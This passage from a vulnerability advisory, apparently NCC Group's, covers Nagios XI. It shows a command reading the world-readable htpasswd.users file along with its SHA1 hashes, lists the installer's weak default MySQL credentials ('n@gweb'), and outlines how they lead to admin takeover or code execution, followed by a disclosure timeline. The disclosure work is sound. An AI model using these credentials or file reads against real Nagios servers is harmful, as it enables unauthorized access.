During this research it was observed that this file is ‘world readable’, meaning that any user on the machine is able to read the content of the file without needing to be part of any specific user group. Given the sensitivity of the file, it must be protected at all costs in order to prevent a low privileged attacker on a compromised webserver from gaining access to the database and the ability to pivot to additional hosts.

Additionally, it was observed that the `htpasswd` file under `/usr/local/nagiosxi/etc/htpasswd.users` is also world readable. This file contains the SHA1 hashed credentials for every Nagios XI user –

$~ cat /usr/local/nagiosxi/etc/htpasswd.users 

nagiosadmin:{SHA}nisVkrOTvgdZ2rHjARyrfvR5MMO= 
nagiosxi:{SHA}T.Ma0cPn+7hyEv3At8/E3fUfmQ4=
nagios:{SHA}/i0KelsOlRtuw8RhhPHtPq4ZRZO=
nagios2:{SHA}E6faZ3wxNCExGaUDRn0QT3sPxzM= 

Should attackers compromise the webserver or obtain the ability to read arbitrary files on the webserver, they will be able to read the contents of this file and mount an offline brute-force attack on the hashes in an attempt to obtain the associated plaintext passwords.

16. Weak Default MySQL Credentials (CVE-2023-47405)

Risk: Low (CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N)

Impact

Consequences of highly privileged access to MySQL server can range from code execution, Nagios agent compromise, and Nagios server denial of service.

Details

As part of this vulnerability research, a fresh Ubuntu 22 virtual machine was created with no additional configuration performed.

During the installation of Nagios XI, it was observed that the installer creates at least 3 MySQL database users with weak credentials –

  • `nagiosxi`/`n@gweb`
  • `nagiosql`/`n@gweb`
  • `ndoutils`/`n@gweb`

Each of these users has full Create/Read/Update/Delete (CRUD) access to their respective databases, which allows for trivial admin account takeover, denial of service (by deleting config data, user data or network host data), and potentially code execution (for example by modifying the entries within the `nagiosql.tbl_command` table).

The risk of this finding is mitigated significantly because in the default configuration the MySQL database server only listens on localhost, however if the webserver is compromised (as evidenced by the technical advisories in this research piece) these weak credentials would make it trivial for an attacker to compromise the database.

Disclosure Timeline

  • 9/19/2023 – Initial contact made with the vendor in order to establish a secure channel to share the vulnerability details
  • 9/19/2023 – Nagios Enterprises, LLC responds indicating that we can email the disclosures to them
  • 9/19/2023 – NCC Group consultants send the disclosures by email
  • 9/19/2023 – Nagios Enterprises, LLC confirm receipt of the vulnerabilities
  • 9/20/2023 – Nagios Enterprises, LLC schedules a call to discuss the vulnerabilities
  • 9/21/2023 – Nagios Enterprises, LLC request clarification on a finding
  • 9/21/2023 – NCC Group responds with the clarification
  • 10/17/2023 – Nagios Enterprises, LLC reschedules the vulnerability discussion call to November 1st
  • 11/1/2023 – NCC Group and Nagios Enterprises, LLC have a call to discuss the findings and remediation progress. Rough coordinated disclosure date established for early December
  • 12/5/2023 – NCC Group requests a status update for when the fix is due to be released, in order to coordinate public disclosure
  • 12/8/2023 – Nagios responds to confirm that they consider the vulnerabilities to be mitigated, and we can proceed with public disclosure.
Oliver Brooks

Oliver Brooks

Principal Security Consultant working with NCC Group in Canada.